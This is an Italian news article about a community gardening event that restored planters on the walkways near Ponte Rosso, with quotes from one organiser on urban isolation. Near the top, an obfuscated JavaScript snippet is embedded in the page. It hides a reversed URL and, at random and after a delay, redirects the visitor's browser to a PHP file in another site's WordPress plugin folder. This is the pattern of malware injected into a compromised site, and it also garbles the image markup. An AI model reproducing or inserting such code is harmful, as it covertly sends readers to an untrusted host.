26 settembre 2018

Piantiamola insieme: giardinaggio sociale al Ponte Rosso

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di Alessandro Bezzi

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2010/04/18-04-guerrilla-gerdening-006.jpg”>18 04 guerrilla gerdening 006Sono bastati il coraggio e lo spirito di iniziativa di due ragazzi per coinvolgere decine di persone in un pomeriggio di “social gardening” sulle passerelle accanto a Ponte Rosso: visto il degrado delle fioriere, Matteo ed Annalisa hanno pensato di chiamare a raccolta chiunque avesse voglia di contribuire per pulirle e rimettere fiori e piante dove oramai giacevano rifiuti di ogni tipo. Grazie al tam tam su internet e al volantinaggio per il quartiere, oltre 60 persone si sono presentate all’appuntamento, vogliose di contribuire alla cura di un bene comune. Una piccola iniziativa, certo, ma anche un momento di intensa socializzazione, dal significato ben più profondo di quanto si potrebbe pensare: il rispetto del “bene pubblico” (troppo spesso considerato “di nessuno” piuttosto che “di tutti” e lasciato all’incuria e al vandalismo) e dell’ambiente, ma soprattutto un momento di partecipazione e socializzazione intergenerazionale. Il fatto che gran parte dei “provetti giardinieri” risieda nella zona o la frequenti assiduamente, contribuisce a spiegare come iniziative di questo tipo possano anche essere occasioni per incontrarsi e conoscersi.

Ci spiega Matteo “Viviamo in città con densità abitative altissime, eppure non siamo mai stati, nella storia dell’umanità, così soli, così isolati l’uno dall’altro. Il motivo di questo progetto è chiaro: distruggere la socialità! La soddisfazione che l’uomo non riesce ad ottenere dai rapporti sociali, la ricerca nel consumo sfrenato, nella necessità di possedere “roba”, anche quella che non serve. Ecco perché per me questo pomeriggio è stato soprattutto una festa della socialità: grazie a momenti come questi, magari avremo la soddisfazione di sentirci dire “BUONGIORNO, hai visto come cresce il rosmarino??” dalla signora del portone accanto. E forse sentiremo meno il bisogno di un telefonino nuovo.”

La forza simbolica di un’iniziativa come questa, forse, sta proprio in questo: stimolare pratiche di buona cittadinanza (sensibilità all’ambiente e alla cosa pubblica), attraverso momenti di socializzazione che ci possono far sentire “meno soli” e farci riscoprire valori spesso dimenticati. Dal saluto cordiale con la vicina di casa alla voglia di condividere qualcosa, che sia un pomeriggio insieme o la vista di una fioriera piena di gerani su una passerella accanto a Ponte Rosso.

Adesso che ne abbiamo scoperto il significato, perché non replicare l’iniziativa da altre parti?

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